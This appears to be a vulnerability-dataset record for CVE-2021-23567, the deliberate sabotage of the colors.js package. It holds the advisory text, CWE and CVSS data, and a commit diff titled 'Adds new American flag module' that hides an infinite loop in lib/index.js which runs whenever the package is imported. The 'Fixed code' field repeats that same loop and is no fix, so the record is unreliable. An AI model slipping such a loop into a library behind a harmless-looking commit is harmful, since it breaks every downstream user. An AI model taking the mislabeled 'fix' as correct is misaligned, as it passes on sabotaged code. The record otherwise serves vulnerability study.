CVE-2021-23567: Loop with Unreachable Exit Condition ('Infinite Loop') (CWE-835)
value: The package colors after 1.4.0 are vulnerable to Denial of Service (DoS) that was introduced through an infinite loop in the americanFlag module. Unfortunately this appears to have been a purposeful attempt by a maintainer of colors to make the package unusable, other maintainers' controls over this package appear to have been revoked in an attempt to prevent them from fixing the issue. Vulnerable Code js for (let i = 666; i < Infinity; i++;) { Alternative Remediation Suggested * Pin dependancy to 1.4.0
CWE description: The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
CVSS v3 base score: 7.5
Published: 2022-01-14T20:15Z
Repository: https://github.com/Marak/colors.js
Language: JavaScript
Files changed: lib/custom/american.js, lib/index.js
Commit date: 2022-01-07 23:19:03 -0500
Commit message: Adds new American flag module
Diff: diff --git a/lib/custom/american.js b/lib/custom/american.js
new file mode 100644
index 0000000..5b0dc44
--- /dev/null
+++ b/lib/custom/american.js
@@ -0,0 +1,31 @@
+module.exports = function americanFlag () {
+  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
+  console.log('LIBERTY LIBERTY LIBERTY'.america);
+  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
+  let flag = "\
+  \
+                                 !\
+             H|H|H|H|H           H__________________________________\
+             H|§|§|§|H           H|* * * * * *|---------------------|\
+             H|§|∞|§|H           H| * * * * * |---------------------|\
+             H|§|§|§|H           H|* * * * * *|---------------------|\
+             H|H|H|H|H           H| * * * * * |---------------------|\
+             H|H|H|H|H           H|---------------------------------|\
+          ===============        H|---------------------------------|\
+            /| _   _ |\          H|---------------------------------|\
+            (| O   O |)          H|---------------------------------|\
+            /|   U   |\          H-----------------------------------\
+             |  \=/  |           H\
+              \_..._/            H\
+              _|\I/|_            H\
+      _______/\| H |/\_______    H\
+     /       \ \   / /       \   H\
+    |         \ | | /         |  H\
+    |          ||o||          |  H\
+    |    |     ||o||     |    |  H\
+    |    |     ||o||     |    |  H   Carl Pilcher\
+  ";
+
+  console.log(flag);
+
+}
\ No newline at end of file
diff --git a/lib/index.js b/lib/index.js
index 9df5ab7..5cdde14 100644
--- a/lib/index.js
+++ b/lib/index.js
@@ -9,5 +9,15 @@ module['exports'] = colors;
 //   var colors = require('colors/safe);
 //   colors.red("foo")
 //
 //
 require('./extendStringPrototype')();
+
+/* remove this line after testing */
+let am = require('../lib/custom/american');
+am();
+for (let i = 666; i < Infinity; i++;) {
+  if (i % 333) {
+    // console.log('testing'.zalgo.rainbow)
+  }
+  console.log('testing testing testing testing testing testing testing'.zalgo)
+}

Fixed code: module.exports = function americanFlag () {
  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
  console.log('LIBERTY LIBERTY LIBERTY'.america);
  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
  let flag = "\
  \
                                 !\
             H|H|H|H|H           H__________________________________\
             H|§|§|§|H           H|* * * * * *|---------------------|\
             H|§|∞|§|H           H| * * * * * |---------------------|\
             H|§|§|§|H           H|* * * * * *|---------------------|\
             H|H|H|H|H           H| * * * * * |---------------------|\
             H|H|H|H|H           H|---------------------------------|\
          ===============        H|---------------------------------|\
            /| _   _ |\          H|---------------------------------|\
            (| O   O |)          H|---------------------------------|\
            /|   U   |\          H-----------------------------------\
             |  \=/  |           H\
              \_..._/            H\
              _|\I/|_            H\
      _______/\| H |/\_______    H\
     /       \ \   / /       \   H\
    |         \ | | /         |  H\
    |          ||o||          |  H\
    |    |     ||o||     |    |  H\
    |    |     ||o||     |    |  H   Carl Pilcher\
  ";

  console.log(flag);

}

/* remove this line after testing */
let am = require('../lib/custom/american');
am();
for (let i = 666; i < Infinity; i++;) {
  if (i % 333) {
    // console.log('testing'.zalgo.rainbow)
  }
  console.log('testing testing testing testing testing testing testing'.zalgo)
}